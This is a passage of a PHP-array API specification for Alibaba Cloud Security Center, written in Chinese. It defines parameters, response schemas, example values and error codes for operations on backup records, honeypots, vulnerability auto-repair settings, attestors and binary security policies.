'设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'title' => '', + 'description' => '分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。'."\n" + .'> 建议PageSize取值不要为空。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'maximum' => '200', + 'minimum' => '10', + 'example' => '20', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '3956048F-9D73-5EDB-834B-4827BB48****', + ], + 'BackupRecordList' => [ + 'description' => '备份记录列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Uuid' => [ + 'description' => '数据库防勒索所备份服务器的UUID。', + 'type' => 'string', + 'example' => 'b93cccb9-f19f-4886-97fe-47df26ba****', + ], + 'ClientId' => [ + 'description' => '防勒索客户端ID。', + 'type' => 'string', + 'example' => 'c-0002bgagelj3d2sc****', + ], + 'BackupPlanId' => [ + 'description' => '备份计划ID。', + 'type' => 'string', + 'example' => 'plan-000c4tt43nolmx96****', + ], + 'BackupJobId' => [ + 'description' => '备份任务ID。', + 'type' => 'string', + 'example' => 'a006f24d069843c88688672d74ee****', + ], + 'BackupStartTime' => [ + 'description' => '备份开始时间，格式为时间戳（单位为毫秒）。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1699514211000', + ], + 'BackupEndTime' => [ + 'description' => '备份结束时间，格式为时间戳（单位为毫秒）。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1699600611000', + ], + 'BackupStatus' => [ + 'description' => '备份任务状态。取值：'."\n" + .'- **BACKUP_COMPLETE**：备份成功'."\n" + .'- **BACKUP_FAILED**：备份失败'."\n" + .'- **PARTIAL_COMPLETE**：部分备份成功', + 'type' => 'string', + 'example' => 'BACKUP_COMPLETE', + ], + 'ErrorCode' => [ + 'description' => '备份任务错误码。', + 'type' => 'string', + 'example' => 'FILE_CACHE_NO_SPACE', + ], + 'ErrorMessage' => [ + 'description' => '备份任务错误详情。', + 'type' => 'string', + 'example' => 'FILE_CACHE_NO_SPACE', + ], + 'InstanceName' => [ + 'description' => '资产的实例名称。', + 'type' => 'string', + 'example' => 'openapi', + ], + 'Ip' => [ + 'description' => '服务器IP地址。', + 'type' => 'string', + 'example' => '1.1.1.1', + ], + 'InstanceId' => [ + 'description' => '服务器实例的ID。', + 'type' => 'string', + 'example' => 'i-wz9ikn44p46krnic****', + ], + 'InternetIp' => [ + 'description' => '服务器的公网IP地址。', + 'type' => 'string', + 'example' => '1.1.1.1'."\n", + ], + 'IntranetIp' => [ + 'description' => '服务器私网IP。', + 'type' => 'string', + 'example' => '192.168.1.1', + ], + 'RegionId' => [ + 'description' => '备份服务地域ID。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '页面显示信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页最多显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到的数据总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"3956048F-9D73-5EDB-834B-4827BB48****\\",\\n \\"BackupRecordList\\": [\\n {\\n \\"Uuid\\": \\"b93cccb9-f19f-4886-97fe-47df26ba****\\",\\n \\"ClientId\\": \\"c-0002bgagelj3d2sc****\\",\\n \\"BackupPlanId\\": \\"plan-000c4tt43nolmx96****\\",\\n \\"BackupJobId\\": \\"a006f24d069843c88688672d74ee****\\",\\n \\"BackupStartTime\\": 1699514211000,\\n \\"BackupEndTime\\": 1699600611000,\\n \\"BackupStatus\\": \\"BACKUP_COMPLETE\\",\\n \\"ErrorCode\\": \\"FILE_CACHE_NO_SPACE\\",\\n \\"ErrorMessage\\": \\"FILE_CACHE_NO_SPACE\\",\\n \\"InstanceName\\": \\"openapi\\",\\n \\"Ip\\": \\"1.1.1.1\\",\\n \\"InstanceId\\": \\"i-wz9ikn44p46krnic****\\",\\n \\"InternetIp\\": \\"1.1.1.1\\\\n\\",\\n \\"IntranetIp\\": \\"192.168.1.1\\",\\n \\"RegionId\\": \\"cn-hangzhou\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 2,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 100,\\n \\"Count\\": 20\\n }\\n}","type":"json"}]', + 'title' => '查询备份记录列表', + ], + 'ResetHoneypot' => [ + 'summary' => '重置蜜罐。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + ], + 'parameters' => [ + [ + 'name' => 'HoneypotId', + 'in' => 'query', + 'schema' => [ + 'title' => '蜜罐ID', + 'description' => '蜜罐ID。'."\n" + ."\n" + .'> 您可以调用[ListHoneypot](~~ListHoneypot~~)接口获取该值。', + 'type' => 'string', + 'required' => true, + 'example' => '945607c2ae2a1a737c04599d6608065688bfc6048d9b9d306ce8dc8191c*****', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认值为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '蜜罐数据。', + 'type' => 'object', + 'properties' => [ + 'HoneypotId' => [ + 'title' => '蜜罐ID', + 'description' => '蜜罐ID。', + 'type' => 'string', + 'example' => '9bf8cd373112263d4bc102fc5dba9d9f812ee05d4d35c487d330d52e937f****', + ], + 'HoneypotName' => [ + 'title' => '蜜罐自定义名称', + 'description' => '蜜罐自定义名称。', + 'type' => 'string', + 'example' => 'ruoyi', + ], + 'ControlNodeName' => [ + 'title' => '蜜罐管理节点名称', + 'description' => '蜜罐管理节点名称。', + 'type' => 'string', + 'example' => 'managerNodename', + ], + 'HoneypotImageName' => [ + 'title' => '蜜罐镜像名称', + 'description' => '蜜罐镜像名称。', + 'type' => 'string', + 'example' => 'ruoyi', + ], + 'PresetId' => [ + 'title' => '蜜罐自定义参数ID', + 'description' => '蜜罐自定义参数ID。', + 'type' => 'string', + 'example' => '868a7579-00b5-4a74-999d-8bd3f411****', + ], + 'State' => [ + 'title' => '蜜罐状态', + 'description' => '蜜罐状态列表。', + 'type' => 'array', + 'items' => [ + 'description' => '蜜罐状态。取值：'."\n" + .'- **starting**：开启中'."\n" + .'- **running**：正常'."\n" + .'- **exited**：关闭'."\n" + .'- **upgrade**：更新中'."\n" + .'- **deleting**：正在删除中'."\n" + .'- **resetting**：重置中'."\n" + .'- **created**：完成创建'."\n" + .'- **stopping**：停止中', + 'type' => 'string', + 'example' => 'running', + ], + ], + 'HoneypotImageDisplayName' => [ + 'title' => '蜜罐镜像显示名称', + 'description' => '蜜罐镜像显示名称。', + 'type' => 'string', + 'example' => 'RuoYi', + ], + 'NodeId' => [ + 'title' => '管理节点唯一id', + 'description' => '管理节点唯一ID。', + 'type' => 'string', + 'example' => 'a882e590-b87b-45a6-87b9-d0a3e5a0****', + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'A57C711B-AA15-55B2-8F61-4D09CEXXXXX', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"HoneypotId\\": \\"9bf8cd373112263d4bc102fc5dba9d9f812ee05d4d35c487d330d52e937f****\\",\\n \\"HoneypotName\\": \\"ruoyi\\",\\n \\"ControlNodeName\\": \\"managerNodename\\",\\n \\"HoneypotImageName\\": \\"ruoyi\\",\\n \\"PresetId\\": \\"868a7579-00b5-4a74-999d-8bd3f411****\\",\\n \\"State\\": [\\n \\"running\\"\\n ],\\n \\"HoneypotImageDisplayName\\": \\"RuoYi\\",\\n \\"NodeId\\": \\"a882e590-b87b-45a6-87b9-d0a3e5a0****\\"\\n },\\n \\"RequestId\\": \\"A57C711B-AA15-55B2-8F61-4D09CEXXXXX\\"\\n}","type":"json"}]', + 'title' => '重置蜜罐', + ], + 'StartHoneypot' => [ + 'summary' => '开启蜜罐。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + ], + 'parameters' => [ + [ + 'name' => 'HoneypotId', + 'in' => 'query', + 'schema' => [ + 'title' => '蜜罐ID', + 'description' => '蜜罐ID。'."\n" + .'> 您可以调用[ListHoneypot](~~ListHoneypot~~)接口获取该值。', + 'type' => 'string', + 'required' => true, + 'example' => 'dba7d44775be8e0e5888ee3b1a62554a93d2512247cabc38ddeac17a3b3f****', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '蜜罐数据。', + 'type' => 'object', + 'properties' => [ + 'HoneypotId' => [ + 'title' => '蜜罐ID', + 'description' => '蜜罐ID。', + 'type' => 'string', + 'example' => '123', + ], + 'HoneypotName' => [ + 'title' => '蜜罐自定义名称', + 'description' => '蜜罐自定义名称。', + 'type' => 'string', + 'example' => 'ruoyi', + ], + 'ControlNodeName' => [ + 'title' => '蜜罐管理节点名称', + 'description' => '蜜罐管理节点名称。', + 'type' => 'string', + 'example' => 'managerNodename', + ], + 'HoneypotImageName' => [ + 'title' => '蜜罐镜像名称', + 'description' => '蜜罐镜像名称。', + 'type' => 'string', + 'example' => 'tcp_proxy', + ], + 'PresetId' => [ + 'title' => '蜜罐自定义参数ID', + 'description' => '蜜罐自定义参数ID。', + 'type' => 'string', + 'example' => 'ddh3731641137fe4b72b245346a2721d4b6tdgg3731641137fe4b72b245346a2721***', + ], + 'State' => [ + 'title' => '蜜罐状态', + 'description' => '蜜罐状态列表。', + 'type' => 'array', + 'items' => [ + 'description' => '蜜罐状态。取值：'."\n" + .'- **starting**：开启中'."\n" + .'- **running**：正常'."\n" + .'- **exited**：关闭'."\n" + .'- **upgrade**：更新中'."\n" + .'- **deleting**：正在删除中'."\n" + .'- **resetting**：重置中'."\n" + .'- **created**：完成创建'."\n" + .'- **stopping**：停止中', + 'type' => 'string', + 'example' => 'running', + ], + ], + 'HoneypotImageDisplayName' => [ + 'title' => '蜜罐镜像显示名称', + 'description' => '蜜罐镜像显示名称。', + 'type' => 'string', + 'example' => 'Webmin', + ], + 'NodeId' => [ + 'title' => '管理节点唯一id', + 'description' => '管理节点唯一ID。', + 'type' => 'string', + 'example' => 'a882e590-b87b-45a6-87b9-d0a3e5a0****', + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '20456DD5-5CBF-5015-9173-12CA4246B***', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"HoneypotId\\": \\"123\\",\\n \\"HoneypotName\\": \\"ruoyi\\",\\n \\"ControlNodeName\\": \\"managerNodename\\",\\n \\"HoneypotImageName\\": \\"tcp_proxy\\",\\n \\"PresetId\\": \\"ddh3731641137fe4b72b245346a2721d4b6tdgg3731641137fe4b72b245346a2721***\\",\\n \\"State\\": [\\n \\"running\\"\\n ],\\n \\"HoneypotImageDisplayName\\": \\"Webmin\\",\\n \\"NodeId\\": \\"a882e590-b87b-45a6-87b9-d0a3e5a0****\\"\\n },\\n \\"RequestId\\": \\"20456DD5-5CBF-5015-9173-12CA4246B***\\"\\n}","type":"json"}]', + 'title' => '开启蜜罐', + ], + 'DeleteVulAutoRepairConfig' => [ + 'summary' => '批量删除任务中心可自动修复的漏洞列表配置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'delete', + 'abilityTreeCode' => '134325', + 'abilityTreeNodes' => [ + 'FEATUREsasU76LC1', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'title' => '漏洞类型', + 'description' => '漏洞类型。取值： '."\n" + .'- cve：Linux软件漏洞 '."\n" + .'- sys：Windows系统漏洞', + 'type' => 'string', + 'required' => false, + 'example' => 'cve', + ], + ], + [ + 'name' => 'AliasName', + 'in' => 'query', + 'schema' => [ + 'title' => '漏洞别名', + 'description' => '漏洞别名。', + 'type' => 'string', + 'required' => false, + 'example' => 'RHSA-2017:0184-Important: mysql security update', + ], + ], + [ + 'name' => 'ConfigIdList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '指定要删除的配置ID列表。'."\n" + .'> 您可以调用[ListVulAutoRepairConfig](~~ListVulAutoRepairConfig~~)接口获取配置ID。', + 'type' => 'array', + 'items' => [ + 'description' => '指定要删除的配置ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => '3956048F-9D73-5EDB-834B-4827BB48****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'InnerError', + 'errorMessage' => 'InnerError', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"3956048F-9D73-5EDB-834B-4827BB48****\\"\\n}","type":"json"}]', + 'title' => '删除漏洞任务中心自动化修复配置', + ], + 'DescribeFixUsedCount' => [ + 'summary' => '查询按量付费用户已使用漏洞修复次数。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'UsedCountSg' => [ + 'description' => '全球（不含中国）区域已使用漏洞修复次数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + 'UsedCountCn' => [ + 'description' => '中国区域已使用漏洞修复次数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => 'CB1CE824-7F80-546D-8AF8-4A5209F9B698', + ], + 'UsedCount' => [ + 'description' => '已使用漏洞修复次数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"UsedCountSg\\": 5,\\n \\"UsedCountCn\\": 5,\\n \\"RequestId\\": \\"CB1CE824-7F80-546D-8AF8-4A5209F9B698\\",\\n \\"UsedCount\\": 10\\n}","type":"json"}]', + 'title' => '查询按量付费用户已使用漏洞修复次数', + ], + 'CreateAttestor' => [ + 'summary' => '创建证明者。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'abilityTreeCode' => '91919', + 'abilityTreeNodes' => [ + 'FEATUREsasJEFOWE', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '192.168.XX.XX', + ], + ], + [ + 'name' => 'Name', + 'in' => 'query', + 'schema' => [ + 'description' => '证明者名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'attestor-auto-ad5316', + ], + ], + [ + 'name' => 'KeyRegionId', + 'in' => 'query', + 'schema' => [ + 'description' => 'KMS密钥所在区域ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-hangzhou', + ], + ], + [ + 'name' => 'KeyId', + 'in' => 'query', + 'schema' => [ + 'description' => 'KMS密钥ID。', + 'type' => 'string', + 'required' => false, + 'example' => '2e81355b-f8e7-4090-8082-a8f8124a****', + ], + ], + [ + 'name' => 'KeyVersionId', + 'in' => 'query', + 'schema' => [ + 'description' => 'KMS密钥版本ID。', + 'type' => 'string', + 'required' => false, + 'example' => '8d7c9c91-57ce-4cf4-a959-1e700e13****', + ], + ], + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'description' => '备注。', + 'type' => 'string', + 'required' => false, + 'example' => 'attestor', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次请求的ID。', + 'type' => 'string', + 'example' => 'B44EA7F0-497A-5F10-B5A8-87291356****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"B44EA7F0-497A-5F10-B5A8-87291356****\\"\\n}","type":"json"}]', + 'title' => '创建证明者', + ], + 'CreateBinarySecurityPolicy' => [ + 'summary' => '创建二进制安全策略。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'abilityTreeCode' => '91921', + 'abilityTreeNodes' => [ + 'FEATUREsasJEFOWE', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '59.82.XXX.XXX', + ], + ], + [ + 'name' => 'Name', + 'in' => 'query', + 'schema' => [ + 'description' => '策略名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'mv-test', + ], + ], + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'description' => '备注信息。', + 'type' => 'string', + 'required' => false, + 'example' => 'remark test', + ], + ], + [ + 'name' => 'Policy', + 'in' => 'query', + 'schema' => [ + 'description' => '策略内容。JSON格式，Key取值：'."\n" + .'- **policyMode**：策略类型，默认requireAttestor。'."\n" + .'- **requiredAttestors**：需要的证明者。', + 'type' => 'string', + 'required' => true, + 'example' => '{\\"PolicyMode\\":\\"requireAttestor\\",\\"RequiredAttestors\\":[\\"test-xcs-04-12-heyuan\\"]}', + ], + ], + [ + 'name' => 'Clusters', + 'in' => 'query', + 'schema' => [ + 'description' => '集群信息。', + 'type' => 'string', + 'required' => true, + 'example' => '[{\\"ClusterId\\":\\"cc12429dbb8f644f690b0623fb52b4737\\",\\"Namespaces\\":[\\"default\\"]},{\\"ClusterId\\":\\"c9f5b93a8da8f4341b774d79fdbcedb3c\\",\\"Namespaces\\":[\\"default\\"]}]', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '策略状态。取值：'."\n" + .'- **enable**：启用策略'."\n" + .'- **disable**：关闭策略', + 'type' => 'string', + 'required' => false, + 'example' => 'enable', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '接口请求ID。', + 'type' => 'string', + 'example' => '89AD16CC-97EE-50F3-9B12-9E28E5C8****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"89AD16CC-97EE-50F3-9B12-9E28E5C8****\\"\\n}","type":"json"}]', + 'title' => '创建二进制安全策略', + ], + 'DeleteAttestor' => [ + 'summary' => '删除证明者。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'delete', + 'abilityTreeCode' => '91945', + 'abilityTreeNodes' => [ + 'FEATUREsasJEFOWE', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '221.214.XXX.XX', + ], + ], + [ + 'name' => 'Name', + 'in' => 'query', + 'schema' => [ + 'description' => '证明者名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'attestor', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次请求的ID。', + 'type' => 'string', + 'example' => 'CD380235-A0B8-540D-A0D5-D6288446****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"CD380235-A0B8-540D-A0D5-D6288446****\\"\\n}","type":"json"}]', + 'title' => '删除证明者', + ], + 'DescribeAttestors' => [ + 'summary' => '查询证明者。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '222.35.XXX.XXX', + ], + ], + [ + 'name' => 'Name', + 'in' => 'query', + 'schema' => [ + 'description' => '证明者名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'attestor-auto-ad5316', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次请求的ID。', + 'type' => 'string', + 'example' => '7BC55C8F-226E-5AF5-9A2C-2EC43864****', + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '122', + ], + 'Count' => [ + 'description' => '当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + ], + ], + 'Attestors' => [ + 'description' => '证明者。', + 'type' => 'array', + 'items' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'KeyVersionId' => [ + 'description' => 'KMS密钥版本ID。', + 'type' => 'string', + 'example' => '8d7c9c91-57ce-4cf4-a959-1e700e13****', + ], + 'KeyId' => [ + 'description' => 'KMS密钥ID。', + 'type' => 'string', + 'example' => '2e81355b-f8e7-4090-8082-a8f8124a****', + ], + 'Remark' => [ + 'description' => '备注。', + 'type' => 'string', + 'example' => 'attestor', + ], + 'Name' => [ + 'description' => '证明者名称。', + 'type' => 'string', + 'example' => 'attestor-123', + ], + 'KeyRegionId' => [ + 'description' => 'KMS密钥所在区域ID。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7BC55C8F-226E-5AF5-9A2C-2EC43864****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 122,\\n \\"Count\\": 20\\n },\\n \\"Attestors\\": [\\n {\\n \\"KeyVersionId\\": \\"8d7c9c91-57ce-4cf4-a959-1e700e13****\\",\\n \\"KeyId\\": \\"2e81355b-f8e7-4090-8082-a8f8124a****\\",\\n \\"Remark\\": \\"attestor\\",\\n \\"Name\\": \\"attestor-123\\",\\n \\"KeyRegionId\\": \\"cn-hangzhou\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询证明者', + ], + 'DescribeBinarySecurityPolicies' => [ + 'summary' => '查询二进制安全策略。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。'."\n", + 'type' => 'string', + 'required' => false, + 'example' => '59.82.XXX.XXX', + ], + ], + [ + 'name' => 'Name', + 'in' => 'query', + 'schema' => [ + 'description' => '策略名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'policy-auto-5patxz', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '策略状态。取值：'."\n" + .'- **enabled**：启用。'."\n" + .'- **disabled**：已禁用。', + 'type' => 'string', + 'required' => false, + 'example' => 'enabled', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '唯一请求ID。', + 'type' => 'string', + 'example' => '1EE7B150-D67E-53FD-A52D-3E8E669A****', + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 